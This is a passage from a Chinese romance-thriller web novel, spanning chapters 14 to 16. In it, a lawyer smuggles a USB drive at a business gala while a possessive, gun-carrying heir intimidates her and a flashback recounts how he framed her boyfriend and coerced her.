杨珞不敢想象陆砚堂见到她和林纪泽一同出现会是怎样的场景,西京商界的局势如履薄冰,只怕那场偶然的艳遇也会被认为是有意为之,到时候她真的跳进黄河也洗不清了。一个林纪泽她都已经难以应付,再加上陆砚堂的误会,真能把她活活逼死。
肩膀上突然覆上一只手,骨节分明,微微用力扣着她的肩。
“在想什么?”
林纪泽向她靠近,呼吸微微落在她的脖子上,激的她打了一个冷颤。
“没什么。”
她下意识的躲开,却被林纪泽拉的更近。
“我第一次来西京的时候,走的也是这条街。比港城的路要宽很多,那时候我在想,怪不得你喜欢这里,港城那种逼仄的街道,确实让人很压抑。其实我也不喜欢那里,如果能跟你一起留在西京,那样最好不过了。”
杨珞沉声问他:“你为什么不喜欢港城,那是你长大的地方。”
林纪泽:“就是因为我在那里长大,太了解那里,所以才不喜欢。”
杨珞轻蔑的笑了一声:“这世界上错的从来不是地方,是人。你来西京,过的不还是一样的生活吗?”
林纪泽笑了笑,拉起她的手把玩:“西京不一样,西京有你。杨珞,我知道你还抗拒我,我也知道你心里在想什么。但是没关系,我还有耐心。”
杨珞的手冰凉无比,她沉默着,一言不发。
车子开到中心大厦,早有侍者在门口接待。她跟着林纪泽进了一个工作室,他似乎专门包了场,除了几个工作人员以外没有别人。
一位女工作人员陪杨珞一起去换衣服,待衣服上身后她左右打量了一下:“好像码数有点小,不过您身材好,紧一点也不突兀,还挺性感的。”
杨珞:“谢谢,我自己调整一下,你先出去吧。”
工作人员退出,杨珞确定没人后从包里拿出了唐亭给她的u盘,为了方便携带,u盘做的非常小。可是这个礼服没有可以放东西的地方,进了晚宴现场她也没办法拿包,左思右想,她将u盘放进了左胸处。
幸亏礼服够紧,应该不会掉出来,为了保险她专门往里塞了塞。
杨珞磨蹭了好一会儿才出去化妆,门外林纪泽已经收拾妥当,他穿了一身黑色的西装,大概只抓了抓头发,但似乎不需要任何装饰,他站在人群中原本就鹤立鸡群。
林纪泽很有耐心,杨珞前前后后忙活了快两个小时才妥当,他就坐在后面等了两个小时。造型师是个年纪不
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大的小姑娘,玩笑道:“林先生可真宠您。”
杨珞并没有说话。
晚宴的地点就在中心大厦的顶层,林纪泽到的不算早,两人一进门就有人过来寒暄。这种场面,来的都是西京的权贵,大多数之间也都相互认识,或许林纪泽是新面孔,模样又太过出挑,顿时成了全场的焦点。
杨珞对这种场面很不适应,她一言不发的跟在林纪泽身边,看着他娴熟的同别人应酬。这种场合,女人多半是装饰,不会有人特意上前问她,杨珞也乐得自在。
这种自在持续到江山明站到杨珞眼前。
“二公子,好久不见。”
林纪泽跟他碰杯:“江总真是贵人多忘事,上个月在珠海,我还吃了您的全鱼宴呢。”
江山明:“我哪里会忘,只不过一个月在你那儿不算久,在我这儿算久了。”
林纪泽:“您可真会开玩笑。”
江山明:“我现在的境地你也知道,度日如年啊,哪还有心思开玩笑。还是要仰仗你多照顾照顾我这个老大哥。”
林纪泽:“客气了,我刚到西京,什么都不熟悉,说起照顾,还得您照顾照顾我。”
几句寒暄,杨珞算是听明白了林纪泽的心思。他在有意吊着江山明。
江山明转而冲着杨珞敬酒:“杨律师,初次见面,请多关照。”
杨珞微怔。她没想到江山明居然认识她,并且在这么尴尬的场合提出了她的身份。杨珞连忙举杯:“江总,幸会。”
江山明:“杨律师青年才俊,我们江月集团和陵川的案子,还要你多手下留情。”
江山明话里有话,说的是杨珞,指的却是她旁边的林纪泽。
不出杨珞所料,果然闹了场尴尬。林纪泽本和陵川、江月都没关系,正是多方想拉拢的新势力,他公开出席的女伴在再替陵川打官司,多少让人心里有点忌惮。
杨珞:“我就是个打工仔,案子怎么走还得看您和陆先生的意思。”
“诶呦。”江山明突然朝后面看过去:“真是说曹操曹操到,陆先生。”
杨珞跟着回头,身子一僵。
来的不是陆承熙,是陆砚堂。
他独身一人,西装革履,随手从侍者的盘子里提了一杯酒,沿途回应各种人的示好,最后停留在林纪泽和江山明面前。
也就是杨珞面前。
陆砚堂率先开口:“江总,小林总。”
私下即便要对薄公堂,见了面也要和和气气。
江山明:“陆总日理万机,我还以为今晚您不来了。”
陆砚堂:“您的局,我总得来。”
江山明陪着笑,心底确实阴冷一片。他的邀请函上写的是陆承熙的名字,来的却是陆砚堂。现在等于陆砚堂明摆着告诉他,不要打其他陆家人的主意。
林纪泽:“早就想着要去拜访陆总,谁知在这儿碰见了。没想到您认得我。”
陆砚堂:“早些年去过港城,和令尊有些交情,按理说你来西京应该是我尽地主之谊才对,是我疏忽了。”
杨珞一直回避着陆砚堂的目光,低着头,可眼下却突然伸出一只手,那只手曾在黑夜里抚摸她的脸庞,帮她趋退噩梦的侵扰。
“杨小姐,晚上好。”
19. 第14章
晚上好。
杨珞心头一惊,不得已抬头对上陆砚堂的眼睛,脸上是几乎僵掉的笑容。
林纪泽先杨珞一步开口:“你们认识?”
杨珞正着急怎么扯谎,陆砚堂风评云淡道:“当然,杨小姐是陵川的律师。”
杨珞悬着的一颗心落下。
林纪泽笑了笑,并未生疑,只是亲昵将手搭在杨珞的腰上,搂的更近了些。
杨珞心虚的朝对面的男人看了一眼,顷刻间陆砚堂便察觉到了她的目光,淡淡的朝她瞥过来,嘴角还带着方才同林纪泽聊天时未散去的笑容。
杨珞心里瞬间冷如冰霜,不知怎么的,她觉得陆砚堂的眼神里意味太浓。像是掌控一切的猎人看着垂死挣扎的猎物,轻松、玩味,又不屑一顾。
他或许知道了些什么,又或许不知道。
会场一片欢声笑语,觥筹交错,谁也不知笑脸下的各怀鬼胎。
杨珞猜不出陆砚堂的心思,只觉得自己紧张的要窒息了,这一切落在陆砚堂眼里却是意料之中,如杨珞所想,此刻的局面他竟觉得意外的有趣。
江山明找了个由头离开了,周围很快又凑上了别的人。一个陆砚堂,一个林纪泽,把整个晚宴的眼睛全吸引过来了,杨珞在这种注视下如芒刺背。
陆砚堂从容不迫的与他人社交,再没多分一个眼神给杨珞,她心底暗暗松了口气。此刻杨珞冷静下来,仔细想想,或许是她多虑了。一个用假名字的男人,不就是为了查无踪迹,雁过无痕吗?无论在波尔多发生过什么,从离开的那一刻,那段经历和回忆,都彻底留在了异国他乡。
或许他们只会心照不宣的当作初次相遇,是点头之交的上下级,除了工作,连面都不会再见几次。
找林纪泽攀谈的人也许多,他忙着与人碰杯,揽着杨珞的胳膊终于撤了去。杨珞如释重负的往后面小退了一步,静静听着眼前人的谈话。
她发现林纪泽和陆砚堂真的很不同。他很年轻,很张扬。即便刻意保持礼节,也掩盖不住他骨子里呼之欲出的傲气,似乎和他那张精致绝伦的脸庞融为一体,叫人觉得十分危险。
而陆砚堂则稳重的多,严肃、随和、亲切在他脸上都是一闪而过的情绪,喜怒不形于色才是真正的他。
杨珞安静如斯,低头喝了一口杯中的酒。此刻显得她格外乖巧,暖黄的灯光下映着她白皙清淡的脸庞。
许是陆砚堂见过她截然不同的样子,她看起来越是乖巧,他脑海里便越能想到她的妩媚和傲娇,还有那不经意的放/荡。
抬眼的一瞬,杨珞的目光撞进了陆砚堂的眼神里。在这样的人群里,陆砚堂都没有躲开她的目光。匆匆一瞥,溃不成军的只有她。杨珞迅速把头低下来,欲盖弥彰朝旁边看了看。她心跳如雷,周围喧闹的声音变得愈渐模糊。
一刻钟后林纪泽的交际终于结束,他本就是个公子哥,没什么商业经验,那些人也不过是看着港城林家的面子才凑上来结交,这种场面他也撑不了多久。
杨珞随着林纪泽落座,在过去的路上遇到刚好经过门口的周诠,两人飞快对视一眼,算是打了个暗号。周诠从跟唐言声说了几句话,就退出场外了。
林纪泽的位置安排的很靠中心,毕竟他是江山明的座上宾。会场的灯光都暗了下来,距离正式开始还有一段时间。
门口进来一个盛装打扮的女人,又一次吸引了许多人的目光。杨珞也跟着看过去,认出来是一个当红女星,叫白秋瑞。
这是她私下头一回见明星真人,不由得感慨起来。真的比电视上还要漂亮百倍。
林纪泽凑过来:“喜欢她啊?我帮你约她吃个饭?”
杨珞收回目光:“一般,我只喜欢男明星。”
林纪泽低声笑了笑,仰起他的脸:“我不比男明星帅吗?”
杨珞低头看他,竟无话可说。
林纪泽确实比多数男明星还要帅,而且帅的惨无人道,跟他的人品一样。
林纪泽见她没反驳,更开心了,突然搂着她在她脸上亲了一口。杨珞毫不掩饰的皱眉,林纪泽却丝毫不在意。
杨珞盘算着怎么脱身去给周诠送东西,百无聊赖的坐了一会儿,就看到白秋瑞在人群中敬了一圈酒,直直的朝陆砚堂走过去。
似乎两人本就很熟,陆砚堂气定神闲的提着杯子,和白秋瑞碰了酒,两人在人群中攀谈来起来。
陆砚堂永远一副淡定自如的模样,但就是这种松弛的感觉,最是招姑娘的爱慕。高高在上的白秋瑞跟他说了几句话,竟低头嗔笑起来,好不艳丽。
难怪他今晚独身一人,原来是有佳人在侯。
杨珞心里有一丝复杂的情绪,最后竟觉得松了一口气。
只要陆砚堂旧事不提,那就是最好的。
灯光全然暗下,江山明作为东道主上台发言。杨珞计算着时间,到快结束的时候起身。
林纪泽立马察觉,扣住她的手腕:“怎么了?”
杨珞:“我去下洗手间。”
林纪泽:“用不用我陪你。”
杨珞:“我是去洗手间,又不是干别的。”
林纪泽没有多想,放她去了。
杨珞低身穿过人群,路过门口的时候看到在大厅外徘徊的周诠。
得先把u盘取出来才行。
她对这里并不熟悉,又怕林纪泽起疑心,左右寻找后推开一道门,见是无人的通道便走了进去。
里面本是昏黑一片,杨珞的高跟鞋刚落地,声控灯就亮了起来。她吓了一跳,许是平日没做过这样偷偷摸摸的事,她有些害怕这刺眼的灯光。
杨珞小心翼翼将自己的高跟鞋脱下来,提到手里,赤着脚走到通道的拐角处,除了玻璃门前一丝微亮的光外,周遭一片漆黑。
她把鞋放在地上,伸手去取放在胸前的u盘。
杨珞试了好几下,u盘比一开始放进去的位置又滑下去了几分,这衣服又紧,她竟怎么也够不到,急的她额头一层薄薄的汗。
几番折腾,
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杨珞终于决定解开衣服。她伸手拉开了背后的拉链,拉链彻底拉下来,胸口才松了些。
幸亏u盘还在。她赶紧把这小小的东西握在手里,刚准备穿好衣服,空中忽然响起一声打火的声音,窜出一串火光,几乎同时,声控灯被惊醒。
杨珞吓的低声惊呼,下意识转身紧靠墙壁,抬手捂住胸口。
灯光骤然亮起,刺的她看不清眼前,待到恢复视力,看到眼前的男人,她如同忘记呼吸,怔在原地。
陆砚堂甩手合上火机,嘴里叼着的香烟亮着星火。
他站在走廊的拐角处,姿态悠闲,似乎是站了很久。
杨珞脑袋一片空白,她就这么看着陆砚堂,看着他深深抽了口烟,又从肺里吐出来。
此刻的陆砚堂似乎多了一分痞气,他一言不发,就这么盯着被吓到魂不守舍的女人,看着她被解开的礼服,还有半露出来,想盖又盖不住的半寸酥/胸。
不知过了多久,灯灭了。
杨珞又一次陷入漆黑,可这次她知道,黑暗里不只有自己一个人。
她还是一动不敢动,看着黑暗里的那抹烟火星落在地上,然后被人踩灭。
陆砚堂的脚步很轻很轻,但杨珞还是听得到。他停在她眼前,身上淡淡的香气混杂着烟草的味道萦绕在她身边。
杨珞不知道他要干什么,但她此刻无比清楚,眼前的陆砚堂不再是那个跟她公事公办,只谈工作的老板。
一双大手忽然覆上她的肩膀,两人肌肤相贴,杨珞明显的抖了一下。陆砚堂的手掌在她滑腻冰凉的肌肤的衬托下显得粗糙燥热,察觉她的紧张,又稍稍用力扶住她。
两人近的能听到彼此的呼吸,但却谁都没有说话。陆砚堂握住她的肩膀,将她翻转过来,面朝墙壁。
杨珞屏住呼吸,她的裙子还开着,依稀灯光下映出她大片洁白的皮肤。
陆砚堂的手离开她的肩膀,自上而下,落在她的腰肢上,大掌覆上去,往前轻轻一推。
杨珞被迫贴上墙,胸前的冰冷和后背的炙热形成鲜明的对比。她的呼吸沉重起来,在寂静的黑夜里格外明显。
而身后的男人仍是那般从容,慢条斯理的找到她礼服的拉链,轻柔的,缓缓的帮她拉上。
她甚至能感觉到拉链聚拢时在她后背上轻微的摩擦,细细的触感让她浑身颤栗。
陆砚堂亲手帮她穿好衣服。
杨珞脑海中闪过波尔多的那个下午,他温柔,绅士,在帮她拉好拉链后轻柔的落下一吻。
可那时站在她身边的是陆淮。不是此刻身后的陆砚堂。
陆砚堂的手终于从她身上拿开,在她身后无声站了两秒,转身离开。
走廊的门一开一关,声控灯亮了起来,杨珞只看到他笔挺的身影一闪而过。
她此刻像如溺水者上岸,茫然失措又如获新生,直到灯又灭了,她才在黑暗里平静了下来。
杨珞张开手掌,u盘静静地躺在她的手心里,浸满了她的汗水。
20. 第15章
杨珞稍许平复了一下,从走廊出去的时候已经耽搁了许多时间。幸好江山明在台上的发言还没结束,众人都还没离席。
她从暗处飞快穿过,在侧厅门口看到了焦急等待的周诠。
她仰起身子,假装路过,在厅前冲周诠投了个眼神,周诠很快意会,两人相约来到侧听门外的隐秘之处。
“这是唐亭让我交给你的东西。”
周诠收起来,环顾了一下四周,低声道:“唐言声被他的合作伙伴算计了一把,最近他很警惕,告诉唐亭,不要轻举妄动。”
杨珞点头,周诠已经要走,杨珞忽然叫住他:“你不会害唐亭的,是吗?”
周诠诧异的看向杨珞,顷刻间杨珞发觉自己的话不妥当,改口道:“你们会没事的吧,我很担心她。”
周诠明白她话里的意思。
“我们现在是一根绳上的蚂蚱。”
他说完便快步离去。
杨珞在暗处独自站了一会儿,仅仅帮唐亭递个东西她便觉得万分危险,她心底隐隐开始担忧唐亭要做的事情。唐亭为了摆脱唐家的控制,要亲手把唐言声送到监狱,可万一败露,后果不堪设想。
正当她出神之际,一抹轻佻的声音突然在远处响起:“果然是你啊,好久不见,老同学。”
杨珞心头一惊,猛的回头,看到站在远处的李伟。
杨珞立刻明白李伟为什么会出现在这里了。他们本是港大的同学,这次代理案件时杨珞在卷宗上看到了江月集团代理律师团队有李伟的名字,可他的名字实在太大众化了,杨珞有过一丝疑虑,但也没多想。如今看来果然是她认识的这个人。
同学见面,本应热情呼应,可李伟实在不待见杨珞。
李伟是陈桥的室友。自从林纪泽出现在杨珞的生活里后,陈桥的生活也被彻底颠覆了,从一个万人瞩目的天之骄子变成了任人欺辱的过街老鼠。甚至陈桥身边的朋友也受到了波及。李伟原本就为陈桥鸣不平,再加上自己也被针对,顿时把一腔怒气都算到了杨珞头上。李伟觉得一切的源头都是杨珞,是她的水性杨花,朝三暮四才造成那个局面。
过去两年但凡见面,李伟少不了对她阴阳怪气,针锋相对。但杨珞心里对陈桥一直有愧,对那些受她波及的人也颇有愧疚,所以对这些偏见和敌意都全盘接受。
杨珞不知道她方才和周诠的对话李伟有没有听到,又听到了多少,只好硬着头皮去打招呼。
“好久不见。”
“刚才那位帅哥是谁啊,又是您新攀上的权贵?”
李伟说话还是一如既往的难听。
可杨珞心里却松了口气,看样子他应该是没有听到自己和周诠的对话。
“没有,就是一个朋友。”
李伟走了过来,嗤笑一声:“朋友偷偷摸摸到这种地方见面?怎么?不怕林大少爷一枪崩了他?”
杨珞面露不悦:“你来这儿干嘛?也偷偷摸摸跟别人见面?”
李伟:“我就是出来透口气,没你那么下作。”
杨珞不愿再跟他说下去,转身准备离去。
“那你继续透气,我先走了。”
“等等。”李伟叫住她:“你现在给陵川作代理,什么意思?”
杨珞转头:“什么什么意思,你不是在给江山明干活吗?我们各投其主,上班赚钱,有什么好奇怪的。”
李伟轻蔑道:“你还需要赚钱?林大少爷没用钞票把你供起来吗?想当年他动动手指就断了我的财路,怎么现在还要你抛头露面出去工作?”
杨珞:“你到底想说什么?”
李伟:“林纪泽为什么来西京我不知道,但这是陵川集团和江月集团的案子,你背靠林纪泽就不要来插手,别又跟当年一样,就你一个人的破事儿搅合的大家都不好过。”
杨珞终于明白李伟心里的算盘了。他要替江山明打赢官司,要拿头功。可如果自己带着林纪泽投到陵川之下,那他的美梦就彻底没戏了。
“李伟,你未免太看得起我。你知道西京有多少人想拉拢林纪泽吗?凭什么就因为我给陵川打工就一定要选择陵川?你又未免太看得起你自己了,陵川和江月之间的事,你真以为是我们两个小喽啰就能扭转乾坤的?你与其在这里跟我说,不如回去多看两遍卷宗。”
李伟被杨珞一番话说的有些挂不住面子,
杨珞转身离开,李伟猛的拽住她的胳膊,话锋突然一转:“你少在我面前装模作样,陈桥当年能被你唬住,我可不吃你那套。反正我劝你少耍花样少插手,哪天被林纪泽玩儿腻了,扔了,也给自己留条退路。”
这话极为难听,他谈公事不如杨珞看的透亮,就拿私事极尽羞辱,硬要在那可笑的自尊心上扳回一城。
杨珞被拽的生疼:“放开我!”
李伟:“陈桥到现在都不好过,你心里没一点愧疚吗?他这辈子都被你毁了!你怎么有脸在这儿穿金戴银,还不要脸的跟在林纪泽屁股后面……”
“李伟!我警告你适可而止!”杨珞终于忍无可忍:“我再对不起陈桥那也是我们的事,用不着你来管。我再说一遍,放开我!”
李伟狠狠一甩,杨珞几乎被他推出去,往后踉跄了好几步,正要摔倒之际忽然一双手接住了她。
她还没反应过来,眼前的手臂直直抬起,不动声色的扣动了手/枪的扳机。
李伟的脸色顿时变了,他被枪指着,嚣张跋扈的样子僵在脸上。
杨珞头皮一麻,转头看到林纪泽阴冷狠戾的目光。明明是面无表情的一张脸,却像是下一秒就要杀人如麻。
饶是杨珞料到林纪泽的做事风格不会太温柔,但也没想到他大庭广众能把枪拿出来,她瞬间慌了,低声吼道:“林纪泽你疯了!把枪放下!”
林纪泽只是给了她一个多管闲事的眼神。
江山明的致辞已经结束,侧厅陆陆续续有人出来,只因他们站的偏僻才未引人注目,但杨珞已经一身冷汗,她抓住林纪泽的胳膊,低声哀求道:“这里是西京不是港城,你不要给我找麻烦好吗?”
林纪泽看她服软的样子,又看了看眼前早已魂不守舍的李伟,这才不动声色的收了枪。
李伟早就吓的双腿发软。此刻他想跑又不敢跑,就这么面色苍白的站在原地。
林纪泽连他的名字都懒得问,冷冷说了一句滚,李伟如释重负,屁滚尿流的跑开了。
林纪泽将枪别回腰间,杨珞惊魂未定,平复后心底恐惧和愤怒波涛汹涌,林纪泽一点都没变,所有的规矩都是他披着的一张皮,但凡忤逆了他的心意,那张人皮下的面孔就会毫不犹豫的显露出来。
杨珞狠狠剜他一眼,转身大步离开。
林纪泽不知道她为什么会在这里跟一个男人拉拉扯扯,又平白无故被甩了一顿脸子,心里的火顿时也起来了。
他追上杨珞,面色冷厉,在嘈杂的会场里拉住她的胳膊往房间里走。
他的脚步极快,杨珞踉跄的被他带走。她知道他生气了,可她一点没有服软的意思。
宴会的角落里,白秋瑞在陆砚堂身边说着什么,满目情意的望着他,陆砚堂只挂一抹似有若无的笑意,朝侧面微微一瞥,看到杨珞被强行带走的狼狈身影。
林纪泽一脚踹开房间的门,拽着杨珞进去。
杨珞:“林纪泽,你干什么?!”
林纪泽冷笑:“你在干什么?上厕所上到别的男人怀里去了?!”
杨珞用力甩开林纪泽:“林纪泽,我拜托你睁大眼睛看看!你不认识他了吗?”
林纪泽皱眉,他显然不记得了。
杨珞:“也是,你向来坏事做尽,要是每个人被你害过的人都记得,恶鬼都要把你缠死。”
林纪泽稍稍冷静下来,问:“他是谁?我对他干过什
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么坏事?”
杨珞:“当初你不择手段对付陈桥,连他身边跟他交好的人都不放过,一句话就毁了别人几年的努力,这些都不放在心上,对吗?无耻!”
提到陈桥,林纪泽终于想起来了些什么,可却想的不那么真切。上位者的姿态,怎么会记得被踩死的蚂蚁。
杨珞眼里的愤怒喷涌而出,林纪泽心底也知道她因为这些事记恨自己,所以也不再同她争执。
这个房间是他休息的地方,他从腰中取回手枪,放到自己随性的包里。毕竟宴会西装,放在身上容易被人发现。
沉默是林纪泽的让步,杨珞绝望的闭上眼睛,用力消化心里翻涌的情绪。
林纪泽踱步到窗前点了一支烟。
杨珞厌恶的看着他的背影,目光落在了装枪的公文包里。
林纪泽虽不可一世,但也不是没有脑子。他敢在西京大摇大摆的持枪,就是有持枪的资本。杨珞心底的期望在今天破灭,她天真的以为林纪泽初来乍到,在西京掀不起多大的风浪,她有更多的机会逃跑。可终究是她太小瞧这个人了。
杨珞脑袋里忽然灵光一闪,浑身都打了个激灵。
纵然林纪泽在短时间里把西京的□□吃的再开,可绝不可能有在港城的势力大。如果她有证据,足够的证据,她是不是可以有另一条出路?在西京他不可能只手遮天的。
但她不能冲动,她不是没有告发过林纪泽的罪行和林家的恶势力,只不过那时候在香港,也是这愚蠢的举动让她认识到自己有多渺小多可笑。
这个想法在她心里迅速蔓延,以至于都忘记了自己林纪泽就在身边,她看着那支枪,无数想法在脑子里疯狂闪过。
林纪泽回身的一瞬间,便看到杨珞的目光从那个公文包上迅速移开。
他原本放松的心情在看到她惊慌的表情时荡然无存。他不是傻子。他在刀尖血海里滚了这么久,一眼便看得出她眼中的杀意。更何况,他也不是第一次在她眼里看到杀意了。
林纪泽走到杨珞身边,问:“你刚才在看什么?”
杨珞克制着自己发抖的声音:“没什么。”
林纪泽沉默片刻,从公文包里拿出手枪,递到杨珞面前:“你对它感兴趣?”
杨珞裸露的胳膊汗毛直立,却假装被眼前的东西吓了一跳:“你拿它干什么,拿走,别放在我眼前!”
她转身走到别的地方,而林纪泽却步步紧逼:“你不会用,所以才怕它。等你会用了,你就知道它的好处了。”
杨珞:“我都说了我不喜欢……”
“我教你。”
林纪泽突然抓住她的手,从后背环抱住她,不容杨珞有丝毫的反抗。他把冷冰冰的枪放在杨珞手中,可仿佛是烫手的烙铁,杨珞在触碰的一瞬间想要缩回手。
但她再怎么也抵不过林纪泽的力气,她被他死死环住,一点点的握上了枪。
林纪泽握住杨珞的手腕,抬起她的胳膊,对准通往会场的那扇门。
杨珞浑身的血液似乎都停滞了,她脸色苍白,嘴唇微微颤抖。这一切都落在林纪泽眼中,却变态似的欣赏着她的恐惧。
明明知道眼前的只是一扇门,可扳机的手指却忍不住的发抖,直到林纪泽的手指覆上去,杨珞猛的扔掉手中的枪,虚脱的被他禁锢在怀中。
枪被仍在地板上,砸出刺耳的声音,林纪泽的手臂将杨珞紧紧抱住,伏在她耳边。
“傻瓜,枪没上膛,怎么打得出子弹呢?”
杨珞死死盯着地板上黑的发亮的手枪,再没力气说话。
林纪泽看着她一点点变成煞白的脸色,如地狱修罗般问话:“刚才你盯着它,是想用它杀了我,还是想用它告发我?”
杀了你,我恨不得杀了你。
杨珞绝望的闭上眼睛,没有回答。
“你知道的,杀了我比告发我有用多了。”
21. 第16章
杨珞知道林纪泽说得没错,她也不是没有挣扎过。
那还是在港城的时候,林纪泽肆无忌惮的招惹着杨珞,像一颗炸弹投入平静的湖水,把她岁月静好的生活毁的一干二净。林纪泽威逼利诱的手段数不胜数,他像是要一点一点磨掉杨珞的锐气,抽干她身上的骄傲和自尊。那段时光对杨珞而言灰暗无比,原本身边友善的人再没和她亲近过,嫉妒、憎恶、流言蜚语让她无地自容。
或许林纪泽觉得陈桥会知难而退,他也从没在意过这个平淡无奇的“男朋友”,可谁知这人竟同杨珞一样的倔,林纪泽从一开始的不屑,慢慢变为厌恶。他讨厌陈桥同杨珞站在一起时的身影,讨厌他们眼里一样的傲骨和冷漠,更厌恶他们彼此依偎的情意。林纪泽觉得自己嫉妒的疯了,他像个蛮不讲理的孩子,挥拳将陈桥狠狠打倒,用最传统的下流做派羞辱作践他。
陈桥不敢告诉自己的家人在这里遭遇到了什么,他隐忍着,直到有一天拿着自己长久来收集到的林纪泽行凶的证据,站在了警察署的门前。
一个没有入世的法学生,天真的以为法律可以解决一切。
然后,陈桥就失踪了。
杨珞联系不上他,在外几乎问了所有人,都找不到他的踪迹。
天黑了,她绝望而疲惫的回到家,却在关上门后听到林纪泽的声音。
“回来了,累吗?”
月色里,林纪泽闲适的坐在她家里,光影照出他精致的轮廓,仿佛来自地狱的使者。
他漫不经心的翻着一本相册,那是杨珞和陈桥恋爱三年以来拍的所有照片。
“杨珞,你笑起来的时候真的很好看,可你为什么从来不对我笑?”
杨珞不知道林纪泽是怎么进来的,但她知道,事情要朝她害怕的方向发展了。
杨珞像被抽干了灵魂,怔在门口。
林纪泽再次开口:“你找陈桥吗?他在我那儿。”
杨珞平静的问:“他在哪儿?”
林纪泽笑了笑:“我就喜欢你识时务的样子,不像你那个男朋友,做事冒冒失失的,什么都不行,废物一个。”
杨珞压着心里的恨意,牙齿都要咬碎了。
林纪泽听到她急促的呼吸,看到她脸上的表情,愤怒、绝望、恨意滔天。
他起身,将一个文件袋扔到桌子上:“这是他搜集的证据,说他是个废物倒也委屈他了,至少这些证据弄的挺不错的,要真到了个清官手里,我怕是跑不掉了,对吗?”
杨珞:“对,他拍的再好,最后都到了你手里。证据我们不要了,以后也不会再有了,你满意了吗?”
林纪泽:“满意啊。不过还差一点。”
他从口袋里拿出一个打火机,提起那本相册,当着杨珞的面烧了。
火光把狭小的空间照的通亮,映出他修罗般的侧影。
在相册燃尽的微光里,林纪泽看到了杨珞的满脸泪痕。
杨珞忍着哭声:“现在你满意了吧,我可以带陈桥走吗?”
林纪泽遗憾似的摇了摇头:“我倒是想让他走,可惜他走不了,警察不放人啊。”
杨珞错愕,不知道他在说什么。
林纪泽:“哦,忘了告诉你,现在陈桥被警方拘留着,怕是一时半会儿出不来。”
杨珞冲到林纪泽面前:“他是去报案的,为什么他会被拘留?!”
林纪泽装出一副若有所思的模样:“他啊……他去报了案,估计太开心了,出了警局在路上撞了人,也不知道道歉,还跟人打了起来。把人打成了轻伤,当然要被拘留。”
杨珞像尊凋枯的石像定在原地,陈桥那么斯文有礼的一个人,怎么可能会不道歉,怎么可能会打人……
杨珞抓起林纪泽的领子:“你怎么能这么陷害他?!林纪泽你还是不是人?!”
林纪泽低头看着她抓在自己领子上的手,明明那么纤瘦,力气大的像是要把他活活掐死。他缓缓抬起眼,冷声道:“怎么?我进去就可以,他就不行吗?”
杨珞:“你进去是你活该!”
林纪泽冷笑:“他走进警署大门的时候就该知道有这个下场!我现在只是教训他一下,我有的是办法让他比现在惨一千倍一万倍!你想看看吗?”
林纪泽一把抓住杨珞的胳膊,如同匍匐的猛兽起了杀心。
“不如你帮他挑一种死法?好让他死得其所?看你们情真意切的样子,他要真为你死了,我反倒看得起他了,怎么样杨珞,挑一个,挑啊!”
杨珞的身躯如同浮萍在他手里晃动,她泣不成声,终究是低头了头:“你别这样,林纪泽,你别这样……”
哭腔为林纪泽带回了些许理智,他微微松了手里的力道,又爱又恨的看着眼前的女人。
“林纪泽,我求求你,你放了陈桥吧,他没有打人,他不会打人的,你放了他吧……”
林纪泽放开了杨珞,她孱弱的跪坐在他面前,一心只想让陈桥平安。
林纪泽居高临下的看着她,冷冰冰地问:“求我?那你拿什么求我?”
杨珞缓缓抬起头,眼角尽是泪痕,一张清冷的脸庞破碎的仿佛没有灵魂。
“你喜欢我,对吗?”
林纪泽眼底微动,却没有答话。
杨珞抬手,一颗颗解开自己外套的扣子,脱掉,然后是贴身的打底衫,最后只剩下一件规整的内衣。
林纪泽依旧没说话,杨珞等了片刻,抬手去解内衣的扣子。
可就在这时,林纪泽忽的将她整个人提起来,扔到沙发上,欺身上去。
杨珞厌恶的闭上双眼,却被他强迫的转过头来。
“你要跟我交易?那就摆好交易的样子,你知道的,我最烦你这幅冷冰冰的样子。”
杨珞咬紧牙,睁开眼睛,无神的看着林纪泽。
像是一块窥伺依旧的肥肉落在了狼嘴里,林纪泽看着眼前的杨珞,感受着身下温暖娇软的身躯,他甚至不知道该不该下口去嚼。
半晌,他俯下身去,吻上她的唇。
可是没有任何回应,也对,杨珞怎么会给他回应呢?她的笑容,她的善心,她的爱意,从来都不会分给他一丁点的。
林纪泽忿忿的看着她,说:“你跟陈桥在一起的时候也这么没情趣吗?那你是凭什么把那个男人拴的死死的?”
听到陈桥的名字,杨珞浑身打了一个冷颤,方才为妥协而压下的恨意瞬间翻涌而来,她游走在崩溃的边缘,最后疯一样的咬上林纪泽的肩膀,那一口重的像是要把他活生生撕碎。
林纪泽没有躲,任她发泄,他听到她喉咙里的嘶吼,最后肩上的力道越来越小,变成了难以抑制的嚎哭。
许久,她终于平静下来后,林纪泽温柔的拨开她脸上的碎发,看她良久,轻声道:“杨珞,我要的又不是你的身子。”<
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p>杨珞沙哑问:“你到底想什么样。”
林纪泽沉默的看着她
声在喉里,话在心间,但林纪泽终究是没有说出口。
“我要什么,你一直都知道。”
林纪泽什么都没有做,他帮杨珞把衣服一件件穿好,拉着她出门。
“你不是要找陈桥吗?我带你去见他。”
林纪泽真的把杨珞带到了警署门口。杨珞迫不及待的要冲进去,林纪泽却将她拦在门外:“等着,我去跟他说几句话。”
林纪泽跟值班的警察说了几句话,那人便放他进去。杨珞站在原地,觉得极尽讽刺。
陈桥灰头土脸的躺在关押室的地上,听到声音后抬起头来,有那么一瞬间,陈桥甚至不敢相信眼前的人是林纪泽。
他见过林纪泽,可没有像此刻一样近距离观察过。
林纪泽太过轻视他了,威胁他、折磨他甚至都没有自己出面过,有那么几次隔着很远,他痛恨的盯着林纪泽,对方也没回给他一个像样的眼神,所以在陈桥眼里,林纪泽是不仅是地狱修罗,甚至有些高高在上。
而此刻陈桥终于看清,他只是个很年轻的孩子。
也是,他本来就是孩子,年纪甚至比杨珞还要小,但即便这样也遮不住他人皮下一颗恶鬼的心。
林纪泽站在门口,居高临下,像是头次见陈桥一样,细细打量了一番,露出蔑视的笑容。
直到这一刻陈桥才入了他的眼。
陈桥是个俊秀的男人,斯文端正,坚毅的目光里透着凛凛正气,哪怕是此刻,脸上带着狼狈不堪的伤痕,也依旧藏不住那股子清正与无畏。
林纪泽看着眼前的陈桥,居然生出一种妒忌的滋味。他好像忽然明白杨珞为何喜欢陈桥,也忽然明白两人在一起是多么般配。
天之骄子般的少年,永远向阳而生,和他这种在阴暗里爬行的人,是不一样的。
看着林纪泽久久的沉默,陈桥开口:“林纪泽,你想干什么。”
林纪泽没有回答他的问题,反问:“你爱杨珞吗?”
陈桥眼神里闪过一丝不解:“你在说什么鬼话?”
他爱她,是不言自明的。
